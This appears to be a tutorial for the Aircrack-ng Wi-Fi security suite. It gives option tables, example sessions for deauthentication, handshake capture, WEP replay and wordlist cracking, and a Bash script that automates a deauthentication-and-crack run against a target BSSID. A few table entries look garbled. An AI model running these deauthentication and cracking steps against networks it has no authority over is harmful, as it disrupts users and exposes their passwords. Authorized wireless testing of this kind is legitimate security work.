Aircrack-ng Tutorial: Commands, Installation, and Wi-Fi Security Testing
Aircrack-ng is a widely used open-source suite for auditing and analyzing Wi-Fi security. Since its introduction as a successor to the original Aircrack tool, it has developed into a collection of command-line utilities for wireless monitoring, packet capture, traffic testing, and evaluating the security of supported Wi-Fi encryption protocols.
Aircrack-ng is made up of several specialized utilities. Each tool supports a different part of a wireless security assessment:
- airmon-ng – Helps manage monitor mode on wireless interfaces and identifies processes that may interfere with wireless testing.
- airodump-ng – Captures 802.11 frames, lists visible access points and clients, and saves wireless traffic in supported formats such as
.capand.pcap. - aireplay-ng – Provides traffic replay and packet-injection features for supported, authorized lab tests, including legacy authentication and replay scenarios.
- aircrack-ng – Analyzes supported capture files and candidate wordlists to assess whether a wireless password or legacy encryption key can be recovered.
- airdecap-ng – Decrypts supported WEP/WPA/WPA2 capture files when the required key is available.
- airbase-ng – Supports simulated or rogue access-point scenarios for controlled wireless security testing.
- airolib-ng – Manages precomputed Pairwise Master Key (PMK) data for supported workflows associated with known SSIDs.
- packetforge-ng – Creates packet files for supported wireless testing and injection workflows.
Aircrack-ng supports auditing workflows for legacy WEP and WPA/WPA2-PSK networks. Compatibility with newer configurations varies by tool and version; WPA3-SAE is designed to make conventional offline password guessing more difficult.
How to Install Aircrack-ng on Kali Linux
Aircrack-ng is available in the Kali Linux repositories and may already be installed. Use the following commands to check the version or install the package:
# Check if already installed
aircrack-ng --version
# Update package lists and install/reinstall
sudo apt update
sudo apt install aircrack-ng -y
Example version output:
$ aircrack-ng --version
Aircrack-ng 1.7
Build: SVN-r4XXX
OpenSSL link: 3.0.11
GCrypt link: false
Regular expression support: yes
GPU cracking support: PMKID: false, WPA: false, JtR: false, GPUmon: false
Distributed cracking (dynamic engine) support: no
Compiled with the multithreading library. Number of available CPUs: 4
This program is distributed under the GPLv2
Build from source (development version):
sudo apt install build-essential autoconf automake libtool pkg-config \
libnl-3-dev libnl-genl-3-dev libssl-dev ethtool shtool rfkill zlib1g-dev \
libpcap-dev libsqlite3-dev libpcre2-dev libhwloc-dev libcmocka-dev \
hostapd wpasupplicant tcpdump screen iw usbutils expect -y
git clone https://github.com/aircrack-ng/aircrack-ng.git
cd aircrack-ng
autoreconf -i
./configure --with-experimental
make
sudo make install
sudo ldconfig
Syntax
Each Aircrack-ng utility has its own command syntax. These general patterns show how the main tools are typically invoked:
airmon-ng <check|check kill|start|stop> <interface> [channel]
airodump-ng [options] <interface>
aireplay-ng [options] <replay interface>
aircrack-ng [options] <capture file(s)>
airbase-ng [options] <interface>
airdecap-ng [options] <capture file>
airolib-ng <database> [options]
packetforge-ng <mode> [options]
Aircrack-ng Command-Line Options
airmon-ng
| Option | Description |
|---|---|
check |
Lists processes that may interfere with monitor mode. |
check kill |
Stops processes that may interfere with monitor-mode operation, such as NetworkManager or wpa_supplicant. |
start <if> [chan] |
Enables monitor mode on an interface and optionally selects a channel. |
stop <if> |
Disables monitor mode and returns the interface to managed mode. |
airodump-ng
| Option | Description |
|---|---|
-w, --write <prefix> |
Sets the prefix used for output capture files. |
-c, --channel <ch> |
Selects one or more channels, for example -c 1,6,11. |
--band <abg> |
Selects the supported Wi-Fi band; available values depend on the tool and adapter. |
-bssid <mac> |
Filters capture results by access point BSSID. |
--essid <name> |
Filters results by the wireless network name (ESSID). |
-a |
Limits the displayed results to unassociated clients where supported. |
--output-format <fmt> |
Chooses a supported output format, such as pcap, CSV, or NetXML. |
--wps |
Displays available WPS information in the access-point list. |
-d, --uptime |
Displays an estimated access-point uptime where supported. |
-M |
Enables MAC-address filtering for supported operations. |
-N <essid> |
Displays only networks matching the specified ESSID. |
-i, --ignore-negative-one |
Helps address the “fixed channel -1” issue seen with some drivers. |
-K <count> |
Limits capture duration or packet count according to the installed version’s option syntax. |
aireplay-ng
| Option | Description |
|---|---|
-0 <count> |
Selects deauthentication mode; a count of 0 may mean continuous operation. |
-1 <delay> |
Starts the fake-authentication mode supported by the utility. |
-2 |
Starts interactive packet replay. |
-3 |
Runs ARP replay, a technique historically used in WEP testing. |
-4 |
Selects the legacy KoreK chopchop mode for WEP testing. |
-5 |
Selects a legacy fragmentation mode used in WEP assessments. |
-6 |
Selects the legacy Cafe-Latte testing mode. |
-7 |
Selects a client-oriented fragmentation mode. |
-9 |
Tests packet-injection support. |
-a <bssid> |
Specifies the access point’s BSSID. |
-c <client mac> |
Specifies the client MAC address. |
-e <essid> |
Specifies the target network’s ESSID. |
-h <mac> |
Sets the source MAC address for the operation. |
-x <pps> |
Sets the packet transmission rate. |
-D |
Disables access-point detection for supported injection tests. |
aircrack-ng
| Option | Description |
|---|---|
-w <wordlist> |
Specifies a candidate-password wordlist; - can indicate standard input where supported. |
-b <bssid> |
Selects a specific BSSID from the capture file. |
-e <essid> |
Selects a specific network ESSID. |
-a <1|2|3> |
Selects a supported analysis mode; available modes depend on the installed version. |
-p <n> |
Sets the number of CPU threads for supported operations. |
-q |
Reduces command output. |
-l <file> |
Writes a recovered key to a file. |
-n <bits> |
Sets the WEP key length for supported legacy analysis. |
-K |
Restricts WEP analysis to the older KoreK methods rather than PTW. |
-x/-x0/-x1 |
Controls brute-force handling for the final WEP key bytes. |
-y |
Enables an experimental WEP brute-force mode. |
-S |
Runs a speed test for supported WPA analysis. |
-j <file> |
Creates a capture file in a Hashcat-related format supported by the version. |
-J <file> |
Creates a file in a Hashcat-compatible format supported by the version. |
airbase-ng
| Option | Description |
|---|---|
-e <essid> |
Sets the ESSID advertised by the simulated access point. |
-c <channel> |
Sets the channel used by the simulated access point. |
-P |
Enables responses to probe requests for controlled testing. |
-C <sec> |
Controls how often probed ESSIDs are broadcast in supported modes. |
-L |
Enables a legacy LEAP-style access-point mode. |
-z <type> |
Selects the supported WPA encryption type for the simulated access point. |
Basic Aircrack-ng Usage: Example Bash Output
Step 1 — Identify the wireless adapter and enable monitor mode:
$ sudo airmon-ng
PHY Interface Driver Chipset
phy0 wlan0 aThemeArt Qualcomm Atheros AR9271
$ sudo airmon-ng check kill
Killing these processes:
PID Name
891 wpa_supplicant
905 NetworkManager
$ sudo airmon-ng start wlan0
PHY Interface Driver Chipset
phy0 wlan0 aThemeArt Qualcomm Atheros AR9271
(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
(mac80211 station mode vif disabled for [phy0]wlan0)
Step 2 — View nearby wireless networks:
$ sudo airodump-ng wlan0mon
CH 9 ][ Elapsed: 12 s ][ 2026-07-19 10:14
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
AA:BB:CC:DD:EE:01 -42 48 3 0 6 130 WPA2 CCMP PSK HomeLab_5G
AA:BB:CC:DD:EE:02 -61 31 0 0 11 54 WPA2 CCMP PSK Office_Guest
BSSID STATION PWR Rate Lost Frames Probe
AA:BB:CC:DD:EE:01 11:22:33:44:55:66 -50 0 - 1 0 4
Practical Aircrack-ng Examples and Sample Output
Example 1: Capture traffic on a specific access point and channel
$ sudo airodump-ng --bssid AA:BB:CC:DD:EE:01 -c 6 -w handshake wlan0mon
CH 6 ][ Elapsed: 30 s ][ 2026-07-19 10:16 ][ WPA handshake: AA:BB:CC:DD:EE:01
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
AA:BB:CC:DD:EE:01 -40 100 112 15 2 6 130 WPA2 CCMP PSK HomeLab_5G
Example 2: Deauthentication testing in an authorized lab
$ sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:01 -c 11:22:33:44:55:66 wlan0mon
10:17:02 Waiting for beacon frame (BSSID: AA:BB:CC:DD:EE:01) on channel 6
10:17:02 Sending 64 directed DeAuth (code 7). STMAC: [11:22:33:44:55:66] [22|64 ACKs]
10:17:03 Sending 64 directed DeAuth (code 7). STMAC: [11:22:33:44:55:66] [30|64 ACKs]
Example 3: Checking for a captured handshake
CH 6 ][ Elapsed: 45 s ][ 2026-07-19 10:17 ][ WPA handshake: AA:BB:CC:DD:EE:01
Example 4: Evaluating a WPA2 capture with a wordlist
$ aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:01 handshake-01.cap
Aircrack-ng 1.7
[00:01:22] 148213/9822764 keys tested (1810.22 k/s)
Time left: 1 hour, 30 minutes, 12 seconds 1.51%
KEY FOUND! [ mylabpassword123 ]
Master Key : CD 69 4F 3B 21 ...
Transient Key : 8A 1F 33 09 ...
EAPOL HMAC : 4C 7A 92 D1 ...
Example 5: Fake authentication in a controlled test environment
$ sudo aireplay-ng -1 0 -e HomeLab_5G -a AA:BB:CC:DD:EE:01 -h 00:11:22:33:44:55 wlan0mon
10:20:11 Waiting for beacon frame (BSSID: AA:BB:CC:DD:EE:01) on channel 6
10:20:11 Sending Authentication Request (Open System) [ACK]
10:20:11 Authentication successful
10:20:11 Sending Association Request [ACK]
10:20:11 Association successful :-) (AID: 1)
Example 6: ARP replay in a legacy WEP lab
$ sudo aireplay-ng -3 -b AA:BB:CC:DD:EE:03 -h 00:11:22:33:44:55 wlan0mon
Saving ARP requests in replay_arp-0719-102233.cap
You should also start airodump-ng to capture replies.
Read 3811 packets (got 812 ARP requests and 690 ACKs), sent 1998 packets...
Example 7: Analyzing a legacy WEP capture
$ aircrack-ng wep-capture-01.cap
Aircrack-ng 1.7
[00:00:04] Tested 842 keys (got 41235 IVs)
KB depth byte(vote)
0 0/ 1 AB(43584) 12(35120) 5C(31088) ...
1 0/ 2 CD(41120) 88(30012) ...
KEY FOUND! [ AB:CD:12:34:56 ]
Decrypted correctly: 100%
Example 8: Simulating an access point with airbase-ng
$ sudo airbase-ng -e "Free_WiFi_Lab" -c 6 wlan0mon
10:25:40 Created tap interface at0
10:25:40 Trying to set MTU on at0 to 1500
10:25:40 Access Point with BSSID 00:C0:CA:XX:XX:XX started.
Example 9: Exporting capture data to a Hashcat-related format
$ aircrack-ng handshake-01.cap -J handshake_hashcat
Opening handshake-01.cap
Read 3421 packets.
1 potentially valid WPA handshakes found.
Writing 1 WPA Handshake to 'handshake_hashcat.hccapx'... Done.
Example 10: Managing precomputed PMK data with airolib-ng
$ airolib-ng labdb --import essid HomeLab_5G
Database <labdb> was successfully upgraded to version 4.
Creating ESSID 'HomeLab_5G'
$ airolib-ng labdb --import passwd /usr/share/wordlists/rockyou.txt
Read 14344391 lines, writing 14344391 words...
Common Aircrack-ng Use Cases
- Wireless reconnaissance: inventorying visible access points and clients before an authorized assessment.
- WPA/WPA2 authentication analysis: evaluating the strength of weak pre-shared passwords using suitable captures in an authorized lab.
- Authentication testing: examining reconnection behavior and authentication captures in a controlled environment.
- Legacy WEP assessment: identifying older equipment that still relies on insecure, deprecated encryption.
- Rogue access-point simulations: checking how test devices respond to untrusted wireless networks.
- Adapter capability checks: confirming supported monitor-mode and packet-injection features before a test.
- Precomputation workflows: managing PMK databases with
airolib-ngfor supported assessments.
Automating Aircrack-ng Tasks with Bash
The following Bash script illustrates how monitor-mode setup, traffic capture, and capture-file analysis can be organized into one workflow. Use it only in a lab or on a network you are authorized to assess:
#!/bin/bash
# auto_aircrack.sh - Automated WPA2 handshake capture & crack
# Usage: sudo ./auto_aircrack.sh <interface> <BSSID> <channel> <wordlist>
set -e
IFACE=$1
BSSID=$2
CHANNEL=$3
WORDLIST=$4
CAPDIR="./captures_$(date +%Y%m%d_%H%M%S)"
if [[ -z "$IFACE" || -z "$BSSID" || -z "$CHANNEL" || -z "$WORDLIST" ]]; then
echo "Usage: sudo $0 <interface> <BSSID> <channel> <wordlist>"
exit 1
fi
mkdir -p "$CAPDIR"
echo "[*] Killing interfering processes..."
airmon-ng check kill
echo "[*] Enabling monitor mode on $IFACE..."
airmon-ng start "$IFACE"
MONIF="${IFACE}mon"
echo "[*] Starting capture on channel $CHANNEL..."
airodump-ng --bssid "$BSSID" -c "$CHANNEL" -w "$CAPDIR/capture" "$MONIF" &
DUMP_PID=$!
sleep 5
echo "[*] Sending deauth to force handshake..."
aireplay-ng -0 10 -a "$BSSID" "$MONIF"
echo "[*] Waiting for handshake capture (30s)..."
sleep 30
kill $DUMP_PID 2>/dev/null || true
CAPFILE=$(ls "$CAPDIR"/capture-01.cap 2>/dev/null)
if [[ -z "$CAPFILE" ]]; then
echo "[!] No capture file found."
exit 1
fi
echo "[*] Attempting crack with wordlist $WORDLIST..."
aircrack-ng -w "$WORDLIST" -b "$BSSID" "$CAPFILE" | tee "$CAPDIR/crack_result.txt"
echo "[*] Restoring interface to managed mode..."
airmon-ng stop "$MONIF"
service NetworkManager start
echo "[*] Done. Results saved in $CAPDIR/"
Save the script as auto_aircrack.sh, then use the following commands to make it executable and launch it in your authorized lab:
sudo chmod +x auto_aircrack.sh
sudo ./auto_aircrack.sh wlan0 AA:BB:CC:DD:EE:01 6 /usr/share/wordlists/rockyou.txt
Aircrack-ng Tips and Best Practices
- Check for processes that may interfere with monitor mode before changing interface settings. Stopping network services can interrupt your current connection.
- For a controlled capture, selecting the correct channel can help keep the adapter focused on the test access point rather than switching between channels.
- Choose a capture format that retains the packet data required by your intended analysis tools. Limited formats may omit information needed for some workflows.
- Understand the differences between PMKID-based analysis and handshake capture, and choose only methods appropriate to your authorized test scope.
- Review the installed version’s help output for supported performance options, and select settings appropriate for your system.
- Validate capture quality before analysis. Incomplete authentication exchanges may not contain enough information for the intended assessment.
- Keep wireless drivers and firmware updated, and remember that monitor mode and injection support vary by chipset.
Troubleshooting Aircrack-ng
| Problem | Cause | Solution |
|---|---|---|
Interface doesn't support monitor mode |
Chipset/driver limitation | Check your adapter and driver documentation for monitor-mode support; compatibility depends on the exact chipset and driver. |
| Fixed channel -1 error in airodump-ng | A driver or channel-management issue may be responsible. | Check the installed version’s help output and driver documentation for the appropriate workaround. |
| No handshake captured after deauth | The client may not reconnect, the signal may be weak, or the network may use protections against deauthentication. | In an authorized lab, verify signal quality, client behavior, and the access point’s protections rather than repeatedly disrupting connections. |
aircrack-ng says “No valid WPA handshakes found” |
The capture may contain an incomplete authentication exchange. | Review the capture for completeness and repeat the test only within an authorized environment. |
| Monitor mode interface disappears | NetworkManager may be managing the interface again. | Check interface and NetworkManager state, then restore the normal network configuration when testing is complete. |
Tests packet-injection support. fails (aireplay-ng -9) |
The adapter/driver may not support injection, or the signal may be insufficient. | Verify adapter compatibility and channel configuration using your own lab equipment. |
airbase-ng clients can’t get IP |
No DHCP service may be configured for the virtual interface. | For an isolated lab, configure an appropriate DHCP service on the virtual interface and confirm the network is separated from production systems. |
Official Aircrack-ng References
- Official Aircrack-ng documentation: https://www.aircrack-ng.org/documentation.html
- Aircrack-ng GitHub repository: https://github.com/aircrack-ng/aircrack-ng
- Aircrack-ng Wiki (tool-by-tool guides): https://wiki.aircrack-ng.org/
- Kali Linux Tools listing: https://www.kali.org/tools/aircrack-ng/
